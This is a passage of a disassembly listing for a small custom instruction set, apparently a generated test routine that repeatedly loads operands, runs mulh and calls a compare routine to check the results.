9e64: 0d 60 01 23 wh16 r9,0x3
9e68: 10 40 01 29 ld32 r9,r9
9e6c: 00 60 01 10 mulh r8,r16
9e70: 20 70 03 e2 movepc rret,8
9e74: 14 30 d8 67 br 10 <compare>,#al
9e78: 00 10 00 41 add r2,1
9e7c: 0d 41 85 08 wl16 r8,0xc28
9e80: 0d 60 01 03 wh16 r8,0x3
9e84: 10 40 01 08 ld32 r8,r8
9e88: 0d 43 a6 04 wl16 r16,0x1d24
9e8c: 0d 60 02 03 wh16 r16,0x3
9e90: 10 40 02 10 ld32 r16,r16
9e94: 0d 45 c5 20 wl16 r9,0x2e20
9e98: 0d 60 01 23 wh16 r9,0x3
9e9c: 10 40 01 29 ld32 r9,r9
9ea0: 00 60 01 10 mulh r8,r16
9ea4: 20 70 03 e2 movepc rret,8
9ea8: 14 30 d8 5a br 10 <compare>,#al
9eac: 00 10 00 41 add r2,1
9eb0: 0d 41 85 0c wl16 r8,0xc2c
9eb4: 0d 60 01 03 wh16 r8,0x3
9eb8: 10 40 01 08 ld32 r8,r8
9ebc: 0d 43 a6 08 wl16 r16,0x1d28
9ec0: 0d 60 02 03 wh16 r16,0x3
9ec4: 10 40 02 10 ld32 r16,r16
9ec8: 0d 45 c5 24 wl16 r9,0x2e24
9ecc: 0d 60 01 23 wh16 r9,0x3
9ed0: 10 40 01 29 ld32 r9,r9
9ed4: 00 60 01 10 mulh r8,r16
9ed8: 20 70 03 e2 movepc rret,8
9edc: 14 30 d8 4d br 10 <compare>,#al
9ee0: 00 10 00 41 add r2,1
9ee4: 0d 41 85 10 wl16 r8,0xc30
9ee8: 0d 60 01 03 wh16 r8,0x3
9eec: 10 40 01 08 ld32 r8,r8
9ef0: 0d 43 a6 0c wl16 r16,0x1d2c
9ef4: 0d 60 02 03 wh16 r16,0x3
9ef8: 10 40 02 10 ld32 r16,r16
9efc: 0d 45 c5 28 wl16 r9,0x2e28
9f00: 0d 60 01 23 wh16 r9,0x3
9f04: 10 40 01 29 ld32 r9,r9
9f08: 00 60 01 10 mulh r8,r16
9f0c: 20 70 03 e2 movepc rret,8
9f10: 14 30 d8 40 br 10 <compare>,#al
9f14: 00 10 00 41 add r2,1
9f18: 0d 41 85 14 wl16 r8,0xc34
9f1c: 0d 60 01 03 wh16 r8,0x3
9f20: 10 40 01 08 ld32 r8,r8
9f24: 0d 43 a6 10 wl16 r16,0x1d30
9f28: 0d 60 02 03 wh16 r16,0x3
9f2c: 10 40 02 10 ld32 r16,r16
9f30: 0d 45 c5 2c wl16 r9,0x2e2c
9f34: 0d 60 01 23 wh16 r9,0x3
9f38: 10 40 01 29 ld32 r9,r9
9f3c: 00 60 01 10 mulh r8,r16
9f40: 20 70 03 e2 movepc rret,8
9f44: 14 30 d8 33 br 10 <compare>,#al
9f48: 00 10 00 41 add r2,1
9f4c: 0d 41 85 18 wl16 r8,0xc38
9f50: 0d 60 01 03 wh16 r8,0x3
9f54: 10 40 01 08 ld32 r8,r8
9f58: 0d 43 a6 14 wl16 r16,0x1d34
9f5c: 0d 60 02 03 wh16 r16,0x3
9f60: 10 40 02 10 ld32 r16,r16
9f64: 0d 45 c5 30 wl16 r9,0x2e30
9f68: 0d 60 01 23 wh16 r9,0x3
9f6c: 10 40 01 29 ld32 r9,r9
9f70: 00 60 01 10 mulh r8,r16
9f74: 20 70 03 e2 movepc rret,8
9f78: 14 30 d8 26 br 10 <compare>,#al
9f7c: 00 10 00 41 add r2,1
9f80: 0d 41 85 1c wl16 r8,0xc3c
9f84: 0d 60 01 03 wh16 r8,0x3
9f88: 10 40 01 08 ld32 r8,r8
9f8c: 0d 43 a6 18 wl16 r16,0x1d38
9f90: 0d 60 02 03 wh16 r16,0x3
9f94: 10 40 02 10 ld32 r16,r16
9f98: 0d 45 c5 34 wl16 r9,0x2e34
9f9c: 0d 60 01 23 wh16 r9,0x3
9fa0: 10 40 01 29 ld32 r9,r9
9fa4: 00 60 01 10 mulh r8,r16
9fa8: 20 70 03 e2 movepc rret,8
9fac: 14 30 d8 19 br 10 <compare>,#al
9fb0: 00 10 00 41 add r2,1
9fb4: 0d 41 89 00 wl16 r8,0xc40
9fb8: 0d 60 01 03 wh16 r8,0x3
9fbc: 10 40 01 08 ld32 r8,r8
9fc0: 0d 43 a6 1c wl16 r16,0x1d3c
9fc4: 0d 60 02 03 wh16 r16,0x3
9fc8: 10 40 02 10 ld32 r16,r16
9fcc: 0d 45 c5 38 wl16 r9,0x2e38
9fd0: 0d 60 01 23 wh16 r9,0x3
9fd4: 10 40 01 29 ld32 r9,r9
9fd8: 00 60 01 10 mulh r8,r16
9fdc: 20 70 03 e2 movepc rret,8
9fe0: 14 30 d8 0c br 10 <compare>,#al
9fe4: 00 10 00 41 add r2,1
9fe8: 0d 41 89 04 wl16 r8,0xc44
9fec: 0d 60 01 03 wh16 r8,0x3
9ff0: 10 40 01 08 ld32 r8,r8
9ff4: 0d 43 aa 00 wl16 r16,0x1d40
9ff8: 0d 60 02 03 wh16 r16,0x3
9ffc: 10 40 02 10 ld32 r16,r16
a000: 0d 45 c5 3c wl16 r9,0x2e3c
a004: 0d 60 01 23 wh16 r9,0x3
a008: 10 40 01 29 ld32 r9,r9
a00c: 00 60 01 10 mulh r8,r16
a010: 20 70 03 e2 movepc rret,8
a014: 14 30 d7 ff br 10 <compare>,#al
a018: 00 10 00 41 add r2,1
a01c: 0d 41 89 08 wl16 r8,0xc48
a020: 0d 60 01 03 wh16 r8,0x3
a024: 10 40 01 08 ld32 r8,r8
a028: 0d 43 aa 04 wl16 r16,0x1d44
a02c: 0d 60 02 03 wh16 r16,0x3
a030: 10 40 02 10 ld32 r16,r16
a034: 0d 45 c9 20 wl16 r9,0x2e40
a038: 0d 60 01 23 wh16 r9,0x3
a03c: 10 40 01 29 ld32 r9,r9
a040: 00 60 01 10 mulh r8,r16
a044: 20 70 03 e2 movepc rret,8
a048: 14 30 d7 f2 br 10 <compare>,#al
a04c: 00 10 00 41 add r2,1
a050: 0d 41 89 0c wl16 r8,0xc4c
a054: 0d 60 01 03 wh16 r8,0x3
a058: 10 40 01 08 ld32 r8,r8
a05c: 0d 43 aa 08 wl16 r16,0x1d48
a060: 0d 60 02 03 wh16 r16,0x3
a064: 10 40 02 10 ld32 r16,r16
a068: 0d 45 c9 24 wl16 r9,0x2e44
a06c: 0d 60 01 23 wh16 r9,0x3
a070: 10 40 01 29 ld32 r9,r9
a074: 00 60 01 10 mulh r8,r16
a078: 20 70 03 e2 movepc rret,8
a07c: 14 30 d7 e5 br 10 <compare>,#al
a080: 00 10 00 41 add r2,1
a084: 0d 41 89 10 wl16 r8,0xc50
a088: 0d 60 01 03 wh16 r8,0x3
a08c: 10 40 01 08 ld32 r8,r8
a090: 0d 43 aa 0c wl16 r16,0x1d4c
a094: 0d 60 02 03 wh16 r16,0x3
a098: 10 40 02 10 ld32 r16,r16
a09c: 0d 45 c9 28 wl16 r9,0x2e48
a0a0: 0d 60 01 23 wh16 r9,0x3
a0a4: 10 40 01 29 ld32 r9,r9
a0a8: 00 60 01 10 mulh r8,r16
a0ac: 20 70 03 e2 movepc rret,8
a0b0: 14 30 d7 d8 br 10 <compare>,#al
a0b4: 00 10 00 41 add r2,1
a0b8: 0d 41 89 14 wl16 r8,0xc54
a0bc: 0d 60 01 03 wh16 r8,0x3
a0c0: 10 40 01 08 ld32 r8,r8
a0c4: 0d 43 aa 10 wl16 r16,0x1d50
a0c8: 0d 60 02 03 wh16 r16,0x3
a0cc: 10 40 02 10 ld32 r16,r16
a0d0: 0d 45 c9 2c wl16 r9,0x2e4c
a0d4: 0d 60 01 23 wh16 r9,0x3
a0d8: 10 40 01 29 ld32 r9,r9
a0dc: 00 60 01 10 mulh r8,r16
a0e0: 20 70 03 e2 movepc rret,8
a0e4: 14 30 d7 cb br 10 <compare>,#al
a0e8: 00 10 00 41 add r2,1
a0ec: 0d 41 89 18 wl16 r8,0xc58
a0f0: 0d 60 01 03 wh16 r8,0x3
a0f4: 10 40 01 08 ld32 r8,r8
a0f8: 0d 43 aa 14 wl16 r16,0x1d54
a0fc: 0d 60 02 03 wh16 r16,0x3
a100: 10 40 02 10 ld32 r16,r16
a104: 0d 45 c9 30 wl16 r9,0x2e50
a108: 0d 60 01 23 wh16 r9,0x3
a10c: 10 40 01 29 ld32 r9,r9
a110: 00 60 01 10 mulh r8,r16
a114: 20 70 03 e2 movepc rret,8
a118: 14 30 d7 be br 10 <compare>,#al
a11c: 00 10 00 41 add r2,1
a120: 0d 41 89 1c wl16 r8,0xc5c
a124: 0d 60 01 03 wh16 r8,0x3
a128: 10 40 01 08 ld32 r8,r8
a12c: 0d 43 aa 18 wl16 r16,0x1d58
a130: 0d 60 02 03 wh16 r16,0x3
a134: 10 40 02 10 ld32 r16,r16
a138: 0d 45 c9 34 wl16 r9,0x2e54
a13c: 0d 60 01 23 wh16 r9,0x3
a140: 10 40 01 29 ld32 r9,r9
a144: 00 60 01 10 mulh r8,r16
a148: 20 70 03 e2 movepc rret,8
a14c: 14 30 d7 b1 br 10 <compare>,#al
a150: 00 10 00 41 add r2,1
a154: 0d 41 8d 00 wl16 r8,0xc60
a158: 0d 60 01 03 wh16 r8,0x3
a15c: 10 40 01 08 ld32 r8,r8
a160: 0d 43 aa 1c wl16 r16,0x1d5c
a164: 0d 60 02 03 wh16 r16,0x3
a168: 10 40 02 10 ld32 r16,r16
a16c: 0d 45 c9 38 wl16 r9,0x2e58
a170: 0d 60 01 23 wh16 r9,0x3
a174: 10 40 01 29 ld32 r9,r9
a178: 00 60 01 10 mulh r8,r16
a17c: 20 70 03 e2 movepc rret,8
a180: 14 30 d7 a4 br 10 <compare>,#al
a184: 00 10 00 41 add r2,1
a188: 0d 41 8d 04 wl16 r8,0xc64
a18c: 0d 60 01 03 wh16 r8,0x3
a190: 10 40 01 08 ld32 r8,r8
a194: 0d 43 ae 00 wl16 r16,0x1d60
a198: 0d 60 02 03 wh16 r16,0x3
a19c: 10 40 02 10 ld32 r16,r16
a1a0: 0d 45 c9 3c wl16 r9,0x2e5c
a1a4: 0d 60 01 23 wh16 r9,0x3
a1a8: 10 40 01 29 ld32 r9,r9
a1ac: 00 60 01 10 mulh r8,r16
a1b0: 20 70 03 e2 movepc rret,8
a1b4: 14 30 d7 97 br 10 <compare>,#al
a1b8: 00 10 00 41 add r2,1
a1bc: 0d 41 8d 08 wl16 r8,0xc68
a1c0: 0d 60 01 03 wh16 r8,0x3
a1c4: 10 40 01 08 ld32 r8,r8
a1c8: 0d 43 ae 04 wl16 r16,0x1d64
a1cc: 0d 60 02 03 wh16 r16,0x3
a1d0: 10 40 02 10 ld32 r16,r16
a1d4: 0d 45 cd 20 wl16 r9,0x2e60
a1d8: 0d 60 01 23 wh16 r9,0x3
a1dc: 10 40 01 29 ld32 r9,r9
a1e0: 00 60 01 10 mulh r8,r16
a1e4: 20 70 03 e2 movepc rret,8
a1e8: 14 30 d7 8a br 10 <compare>,#al
a1ec: 00 10 00 41 add r2,1
a1f0: 0d 41 8d 0c wl16 r8,0xc6c
a1f4: 0d 60 01 03 wh16 r8,0x3
a1f8: 10 40 01 08 ld32 r8,r8
a1fc: 0d 43 ae 08 wl16 r16,0x1d68
a200: 0d 60 02 03 wh16 r16,0x3
a204: 10 40 02 10 ld32 r16,r16
a208: 0d 45 cd 24 wl16 r9,0x2e64
a20c: 0d 60 01 23 wh16 r9,0x3
a210: 10 40 01 29 ld32 r9,r9
a214: 00 60 01 10 mulh r8,r16
a218: 20 70 03 e2 movepc rret,8
a21c: 14 30 d7 7d br 10 <compare>,#al
a220: 00 10 00 41 add r2,1
a224: 0d 41 8d 10 wl16 r8,0xc70
a228: 0d 60 01 03 wh16 r8,0x3
a22c: 10 40 01 08 ld32 r8,r8
a230: 0d 43 ae 0c wl16 r16,0x1d6c
a234: 0d 60 02 03 wh16 r16,0x3
a238: 10 40 02 10 ld32 r16,r16
a23c: 0d 45 cd 28 wl16 r9,0x2e68
a240: 0d 60 01 23 wh16 r9,0x3
a244: 10 40 01 29 ld32 r9,r9
a248: 00 60 01 10 mulh r8,r16
a24c: 20 70 03 e2 movepc rret,8
a250: 14 30 d7 70 br 10 <compare>,#al
a254: 00 10 00 41 add r2,1
a258: 0d 41 8d 14 wl16 r8,0xc74
a25c: 0d 60 01 03 wh16 r8,0x3
a260: 10 40 01 08 ld32 r8,r8
a264: 0d 43 ae 10 wl16 r16,0x1d70
a268: 0d 60 02 03 wh16 r16,0x3
a26c: 10 40 02 10 ld32 r16,r16
a270: 0d 45 cd 2c wl16 r9,0x2e6c
a274: 0d 60 01 23 wh16 r9,0x3
a278: 10 40 01 29 ld32 r9,r9
a27c: 00 60 01 10 mulh r8,r16
a280: 20 70 03 e2 movepc rret,8
a284: 14 30 d7 63 br 10 <compare>,#al
a288: 00 10 00 41 add r2,1
a28c: 0d 41 8d 18 wl16 r8,0xc78
a290: 0d 60 01 03 wh16 r8,0x3
a294: 10 40 01 08 ld32 r8,r8
a298: 0d 43 ae 14 wl16 r16,0x1d74
a29c: 0d 60 02 03 wh16 r16,0x3
a2a0: 10 40 02 10 ld32 r16,r16
a2a4: 0d 45 cd 30 wl16 r9,0x2e70
a2a8: 0d 60 01 23 wh16 r9,0x3
a2ac: 10 40 01 29 ld32 r9,r9
a2b0: 00 60 01 10 mulh r8,r16
a2b4: 20 70 03 e2 movepc rret,8
a2b8: 14 30 d7 56 br 10 <compare>,#al
a2bc: 00 10 00 41 add r2,1
a2c0: 0d 41 8d 1c wl16 r8,0xc7c
a2c4: 0d 60 01 03 wh16 r8,0x3
a2c8: 10 40 01 08 ld32 r8,r8
a2cc: 0d 43 ae 18 wl16 r16,0x1d78
a2d0: 0d 60 02 03 wh16 r16,0x3
a2d4: 10 40 02 10 ld32 r16,r16
a2d8: 0d 45 cd 34 wl16 r9,0x2e74
a2dc: 0d 60 01 23 wh16 r9,0x3
a2e0: 10 40 01 29 ld32 r9,r9
a2e4: 00 60 01 10 mulh r8,r16
a2e8: 20 70 03 e2 movepc rret,8
a2ec: 14 30 d7 49 br 10 <compare>,#al
a2f0: 00 10 00 41 add r2,1
a2f4: 0d 41 91 00 wl16 r8,0xc80
a2f8: 0d 60 01 03 wh16 r8,0x3
a2fc: 10 40 01 08 ld32 r8,r8
a300: 0d 43 ae 1c wl16 r16,0x1d7c
a304: 0d 60 02 03 wh16 r16,0x3
a308: 10 40 02 10 ld32 r16,r16
a30c: 0d 45 cd 38 wl16 r9,0x2e78
a310: 0d 60 01 23 wh16 r9,0x3
a314: 10 40 01 29 ld32 r9,r9
a318: 00 60 01 10 mulh r8,r16
a31c: 20 70 03 e2 movepc rret,8
a320: 14 30 d7 3c br 10 <compare>,#al
a324: 00 10 00 41 add r2,1
a328: 0d 41 91 04 wl16 r8,0xc84
a32c: 0d 60 01 03 wh16 r8,0x3
a330: 10 40 01 08 ld32 r8,r8
a334: 0d 43 b2 00 wl16 r16,0x1d80
a338: 0d 60 02 03 wh16 r16,0x3
a33c: 10 40 02 10 ld32 r16,r16
a340: 0d 45 cd 3c wl16 r9,0x2e7c
a344: 0d 60 01 23 wh16 r9,0x3
a348: 10 40 01 29 ld32 r9,r9
a34c: 00 60 01 10 mulh r8,r16
a350: 20 70 03 e2 movepc rret,8
a354: 14 30 d7 2f br 10 <compare>,#al
a358: 00 10 00 41 add r2,1
a35c: 0d 41 91 08 wl16 r8,0xc88
a360: 0d 60 01 03 wh16 r8,0x3
a364: 10 40 01 08 ld32 r8,r8
a368: 0d 43 b2 04 wl16 r16,0x1d84
a36c: 0d 60 02 03 wh16 r16,0x3
a370: 10 40 02 10 ld32 r16,r16
a374: 0d 45 d1 20 wl16 r9,0x2e80
a378: 0d 60 01 23 wh16 r9,0x3
a37c: 10 40 01 29 ld32 r9,r9
a380: 00 60 01 10 mulh r8,r16
a384: 20 70 03 e2 movepc rret,8
a388: 14 30 d7 22 br 10 <compare>,#al
a38c: 00 10 00 41 add r2,1
a390: 0d 41 91 0c wl16 r8,0xc8c
a394: 0d 60 01 03 wh16 r8,0x3
a398: 10 40 01 08 ld32 r8,r8
a39c: 0d 43 b2 08 wl16 r16,0x1d88
a3a0: 0d 60 02 03 wh16 r16,0x3
a3a4: 10 40 02 10 ld32 r16,r16
a3a8: 0d 45 d1 24 wl16 r9,0x2e84
a3ac: 0d 60 01 23 wh16 r9,0x3
a3b0: 10 40 01 29 ld32 r9,r9
a3b4: 00 60 01 10 mulh r8,r16
a3b8: 20 70 03 e2 movepc rret,8
a3bc: 14 30 d7 15 br 10 <compare>,#al
a3c0: 00 10 00 41 add r2,1
a3c4: 0d 41 91 10 wl16 r8,0xc90
a3c8: 0d 60 01 03 wh16 r8,0x3
a3cc: 10 40 01 08 ld32 r8,r8
a3d0: 0d 43 b2 0c wl16 r16,0x1d8c
a3d4: 0d 60 02 03 wh16 r16,0x3
a3d8: 10 40 02 10 ld32 r16,r16
a3dc: 0d 45 d1 28 wl16 r9,0x2e88
a3e0: 0d 60 01 23 wh16 r9,0x3
a3e4: 10 40 01 29 ld32 r9,r9
a3e8: 00 60 01 10 mulh r8,r16
a3ec: 20 70 03 e2 movepc rret,8
a3f0: 14 30 d7 08 br 10 <compare>,#al
a3f4: 00 10 00 41 add r2,1
a3f8: 0d 41 91 14 wl16 r8,0xc94
a3fc: 0d 60 01 03 wh16 r8,0x3
a400: 10 40 01 08 ld32 r8,r8
a404: 0d 43 b2 10 wl16 r16,0x1d90
a408: 0d 60 02 03 wh16 r16,0x3
a40c: 10 40 02 10 ld32 r16,r16
a410: 0d 45 d1 2c wl16 r9,0x2e8c
a414: 0d 60 01 23 wh16 r9,0x3
a418: 10 40 01 29 ld32 r9,r9
a41c: 00 60 01 10 mulh r8,r16
a420: 20 70 03 e2 movepc rret,8
a424: 14 30 d6 fb br 10 <compare>,#al
a428: 00 10 00 41 add r2,1
a42c: 0d 41 91 18 wl16 r8,0xc98
a430: 0d 60 01 03 wh16 r8,0x3
a434: 10 40 01 08 ld32 r8,r8
a438: 0d 43 b2 14 wl16 r16,0x1d94
a43c: 0d 60 02 03 wh16 r16,0x3
a440: 10 40 02 10 ld32 r16,r16
a444: 0d 45 d1 30 wl16 r9,0x2e90
a448: 0d 60 01 23 wh16 r9,0x3
a44c: 10 40 01 29 ld32 r9,r9
a450: 00 60 01 10 mulh r8,r16
a454: 20 70 03 e2 movepc rret,8
a458: 14 30 d6 ee br 10 <compare>,#al
a45c: 00 10 00 41 add r2,1
a460: 0d 41 91 1c wl16 r8,0xc9c
a464: 0d 60 01 03 wh16 r8,0x3
a468: 10 40 01 08 ld32 r8,r8
a46c: 0d 43 b2 18 wl16 r16,0x1d98
a470: 0d 60 02 03 wh16 r16,0x3
a474: 10 40 02 10 ld32 r16,r16
a478: 0d 45 d1 34 wl16 r9,0x2e94
a47c: 0d 60 01 23 wh16 r9,0x3
a480: 10 40 01 29 ld32 r9,r9
a484: 00 60 01 10 mulh r8,r16
a488: 20 70 03 e2 movepc rret,8
a48c: 14 30 d6 e1 br 10 <compare>,#al
a490: 00 10 00 41 add r2,1
a494: 0d 41 95 00 wl16 r8,0xca0
a498: 0d 60 01 03 wh16 r8,0x3
a49c: 10 40 01 08 ld32 r8,r8
a4a0: 0d 43 b2 1c wl16 r16,0x1d9c
a4a4: 0d 60 02 03 wh16 r16,0x3
a4a8: 10 40 02 10 ld32 r16,r16
a4ac: 0d 45 d1 38 wl16 r9,0x2e98
a4b0: 0d 60 01 23 wh16 r9,0x3
a4b4: 10 40 01 29 ld32 r9,r9
a4b8: 00 60 01 10 mulh r8,r16
a4bc: 20 70 03 e2 movepc rret,8
a4c0: 14 30 d6 d4 br 10 <compare>,#al
a4c4: 00 10 00 41 add r2,1
a4c8: 0d 41 95 04 wl16 r8,0xca4
a4cc: 0d 60 01 03 wh16 r8,0x3
a4d0: 10 40 01 08 ld32 r8,r8
a4d4: 0d 43 b6 00 wl16 r16,0x1da0
a4d8: 0d 60 02 03 wh16 r16,0x3
a4dc: 10 40 02 10 ld32 r16,r16
a4e0: 0d 45 d1 3c wl16 r9,0x2e9c
a4e4: 0d 60 01 23 wh16 r9,0x3
a4e8: 10 40 01 29 ld32 r9,r9
a4ec: 00 60 01 10 mulh r8,r16
a4f0: 20 70 03 e2 movepc rret,8
a4f4: 14 30 d6 c7 br 10 <compare>,#al
a4f8: 00 10 00 41 add r2,1
a4fc: 0d 41 95 08 wl16 r8,0xca8
a500: 0d 60 01 03 wh16 r8,0x3
a504: 10 40 01 08 ld32 r8,r8
a508: 0d 43 b6 04 wl16 r16,0x1da4
a50c: 0d 60 02 03 wh16 r16,0x3
a510: 10 40 02 10 ld32 r16,r16
a514: 0d 45 d5 20 wl16 r9,0x2ea0
a518: 0d 60 01 23 wh16 r9,0x3
a51c: 10 40 01 29 ld32 r9,r9
a520: 00 60 01 10 mulh r8,r16
a524: 20 70 03 e2 movepc rret,8
a528: 14 30 d6 ba br 10 <compare>,#al
a52c: 00 10 00 41 add r2,1
a530: 0d 41 95 0c wl16 r8,0xcac
a534: 0d 60 01 03 wh16 r8,0x3
a538: 10 40 01 08 ld32 r8,r8
a53c: 0d 43 b6 08 wl16 r16,0x1da8
a540: 0d 60 02 03 wh16 r16,0x3
a544: 10 40 02 10 ld32 r16,r16
a548: 0d 45 d5 24 wl16 r9,0x2ea4
a54c: 0d 60 01 23 wh16 r9,0x3
a550: 10 40 01 29 ld32 r9,r9
a554: 00 60 01 10 mulh r8,r16
a558: 20 70 03 e2 movepc rret,8
a55c: 14 30 d6 ad br 10 <compare>,#al
a560: 00 10 00 41 add r2,1
a564: 0d 41 95 10 wl16 r8,0xcb0
a568: 0d 60 01 03 wh16 r8,0x3
a56c: 10 40 01 08 ld32 r8,r8
a570: 0d 43 b6 0c wl16 r16,0x1dac
a574: 0d 60 02 03 wh16 r16,0x3
a578: 10 40 02 10 ld32 r16,r16
a57c: 0d 45 d5 28 wl16 r9,0x2ea8
a580: 0d 60 01 23 wh16 r9,0x3
a584: 10 40 01 29 ld32 r9,r9
a588: 00 60 01 10 mulh r8,r16
a58c: 20 70 03 e2 movepc rret,8
a590: 14 30 d6 a0 br 10 <compare>,#al
a594: 00 10 00 41 add r2,1
a598: 0d 41 95 14 wl16 r8,0xcb4
a59c: 0d 60 01 03 wh16 r8,0x3
a5a0: 10 40 01 08 ld32 r8,r8
a5a4: 0d 43 b6 10 wl16 r16,0x1db0
a5a8: 0d 60 02 03 wh16 r16,0x3
a5ac: 10 40 02 10 ld32 r16,r16
a5b0: 0d 45 d5 2c wl16 r9,0x2eac
a5b4: 0d 60 01 23 wh16 r9,0x3
a5b8: 10 40 01 29 ld32 r9,r9
a5bc: 00 60 01 10 mulh r8,r16
a5c0: 20 70 03 e2 movepc rret,8
a5c4: 14 30 d6 93 br 10 <compare>,#al
a5c8: 00 10 00 41 add r2,1
a5cc: 0d 41 95 18 wl16 r8,0xcb8
a5d0: 0d 60 01 03 wh16 r8,0x3
a5d4: 10 40 01 08 ld32 r8,r8
a5d8: 0d 43 b6 14 wl16 r16,0x1db4
a5dc: 0d 60 02 03 wh16 r16,0x3
a5e0: 10 40 02 10 ld32 r16,r16
a5e4: 0d 45 d5 30 wl16 r9,0x2eb0
a5e8: 0d 60 01 23 wh16 r9,0x3
a5ec: 10 40 01 29 ld32 r9,r9
a5f0: 00 60 01 10 mulh r8,r16
a5f4: 20 70 03 e2 movepc rret,8
a5f8: 14 30 d6 86 br 10 <compare>,#al
a5fc: 00 10 00 41 add r2,1
a600: 0d 41 95 1c wl16 r8,0xcbc
a604: 0d 60 01 03 wh16 r8,0x3
a608: 10 40 01 08 ld32 r8,r8
a60c: 0d 43 b6 18 wl16 r16,0x1db8
a610: 0d 60 02 03 wh16 r16,0x3
a614: 10 40 02 10 ld32 r16,r16
a618: 0d 45 d5 34 wl16 r9,0x2eb4
a61c: 0d 60 01 23 wh16 r9,0x3
a620: 10 40 01 29 ld32 r9,r9
a624: 00 60 01 10 mulh r8,r16
a628: 20 70 03 e2 movepc rret,8
a62c: 14 30 d6 79 br 10 <compare>,#al
a630: 00 10 00 41 add r2,1
a634: 0d 41 99 00 wl16 r8,0xcc0
a638: 0d 60 01 03 wh16 r8,0x3
a63c: 10 40 01 08 ld32 r8,r8
a640: 0d 43 b6 1c wl16 r16,0x1dbc
a644: 0d 60 02 03 wh16 r16,0x3
a648: 10 40 02 10 ld32 r16,r16
a64c: 0d 45 d5 38 wl16 r9,0x2eb8
a650: 0d 60 01 23 wh16 r9,0x3
a654: 10 40 01 29 ld32 r9,r9
a658: 00 60 01 10 mulh r8,r16
a65c: 20 70 03 e2 movepc rret,8
a660: 14 30 d6 6c br 10 <compare>,#al
a664: 00 10 00 41 add r2,1
a668: 0d 41 99 04 wl16 r8,0xcc4
a66c: 0d 60 01 03 wh16 r8,0x3
a670: 10 40 01 08 ld32 r8,r8
a674: 0d 43 ba 00 wl16 r16,0x1dc0
a678: 0d 60 02 03 wh16 r16,0x3
a67c: 10 40 02 10 ld32 r16,r16
a680: 0d 45 d5 3c wl16 r9,0x2ebc
a684: 0d 60 01 23 wh16 r9,0x3
a688: 10 40 01 29 ld32 r9,r9
a68c: 00 60 01 10 mulh r8,r16
a690: 20 70 03 e2 movepc rret,8
a694: 14 30 d6 5f br 10 <compare>,#al
a698: 00 10 00 41 add r2,1
a69c: 0d 41 99 08 wl16 r8,0xcc8
a6a0: 0d 60 01 03 wh16 r8,0x3
a6a4: 10 40 01 08 ld32 r8,r8
a6a8: 0d 43 ba 04 wl16 r16,0x1dc4
a6ac: 0d 60 02 03 wh16 r16,0x3
a6b0: 10 40 02 10 ld32 r16,r16
a6b4: 0d 45 d9 20 wl16 r9,0x2ec0
a6b8: 0d 60 01 23 wh16 r9,0x3
a6bc: 10 40 01 29 ld32 r9,r9
a6c0: 00 60 01 10 mulh r8,r16
a6c4: 20 70 03 e2 movepc rret,8
a6c8: 14 30 d6 52 br 10 <compare>,#al
a6cc: 00 10 00 41 add r2,1
a6d0: 0d 41 99 0c wl16 r8,0xccc
a6d4: 0d 60 01 03 wh16 r8,0x3
a6d8: 10 40 01 08 ld32 r8,r8
a6dc: 0d 43 ba 08 wl16 r16,0x1dc8
a6e0: 0d 60 02 03 wh16 r16,0x3
a6e4: 10 40 02 10 ld32 r16,r16
a6e8: 0d 45 d9 24 wl16 r9,0x2ec4
a6ec: 0d 60 01 23 wh16 r9,0x3
a6f0: 10 40 01 29 ld32 r9,r9
a6f4: 00 60 01 10 mulh r8,r16
a6f8: 20 70 03 e2 movepc rret,8
a6fc: 14 30 d6 45 br 10 <compare>,#al
a700: 00 10 00 41 add r2,1
a704: 0d 41 99 10 wl16 r8,0xcd0
a708: 0d 60 01 03 wh16 r8,0x3
a70c: 10 40 01 08 ld32 r8,r8
a710: 0d 43 ba 0c wl16 r16,0x1dcc
a714: 0d 60 02 03 wh16 r16,0x3
a718: 10 40 02 10 ld32 r16,r16
a71c: 0d 45 d9 28 wl16 r9,0x2ec8
a720: 0d 60 01 23 wh16 r9,0x3
a724: 10 40 01 29 ld32 r9,r9
a728: 00 60 01 10 mulh r8,r16
a72c: 20 70 03 e2 movepc rret,8
a730: 14 30 d6 38 br 10 <compare>,#al
a734: 00 10 00 41 add r2,1
a738: 0d 41 99 14 wl16 r8,0xcd4
a73c: 0d 60 01 03 wh16 r8,0x3
a740: 10 40 01 08 ld32 r8,r8
a744: 0d 43 ba 10 wl16 r16,0x1dd0
a748: 0d 60 02 03 wh16 r16,0x3
a74c: 10 40 02 10 ld32 r16,r16
a750: 0d 45 d9 2c wl16 r9,0x2ecc
a754: 0d 60 01 23 wh16 r9,0x3
a758: 10 40 01 29 ld32 r9,r9
a75c: 00 60 01 10 mulh r8,r16
a760: 20 70 03 e2 movepc rret,8
a764: 14 30 d6 2b br 10 <compare>,#al
a768: 00 10 00 41 add r2,1
a76c: 0d 41 99 18 wl16 r8,0xcd8
a770: 0d 60 01 03 wh16 r8,0x3
a774: 10 40 01 08 ld32 r8,r8
a778: 0d 43 ba 14 wl16 r16,0x1dd4
a77c: 0d 60 02 03 wh16 r16,0x3
a780: 10 40 02 10 ld32 r16,r16
a784: 0d 45 d9 30 wl16 r9,0x2ed0
a788: 0d 60 01 23 wh16 r9,0x3
a78c: 10 40 01 29 ld32 r9,r9
a790: 00 60 01 10 mulh r8,r16
a794: 20 70 03 e2 movepc rret,8
a798: 14 30 d6 1e br 10 <compare>,#al
a79c: 00 10 00 41 add r2,1
a7a0: 0d 41 99 1c wl16 r8,0xcdc
a7a4: 0d 60 01 03 wh16 r8,0x3
a7a8: 10 40 01 08 ld32 r8,r8
a7ac: 0d 43 ba 18 wl16 r16,0x1dd8
a7b0: 0d 60 02 03 wh16 r16,0x3
a7b4: 10 40 02 10 ld32 r16,r16
a7b8: 0d 45 d9 34 wl16 r9,0x2ed4
a7bc: 0d 60 01 23 wh16 r9,0x3
a7c0: 10 40 01 29 ld32 r9,r9
a7c4: 00 60 01 10 mulh r8,r16
a7c8: 20 70 03 e2 movepc rret,8
a7cc: 14 30 d6 11 br 10 <compare>,#al
a7d0: 00 10 00 41 add r2,1
a7d4: 0d 41 9d 00 wl16 r8,0xce0
a7d8: 0d 60 01 03 wh16 r8,0x3
a7dc: 10 40 01 08 ld32 r8,r8
a7e0: 0d 43 ba 1c wl16 r16,0x1ddc
a7e4: 0d 60 02 03 wh16 r16,0x3
a7e8: 10 40 02 10 ld32 r16,r16
a7ec: 0d 45 d9 38 wl16 r9,0x2ed8
a7f0: 0d 60 01 23 wh16 r9,0x3
a7f4: 10 40 01 29 ld32 r9,r9
a7f8: 00 60 01 10 mulh r8,r16
a7fc: 20 70 03 e2 movepc rret,8
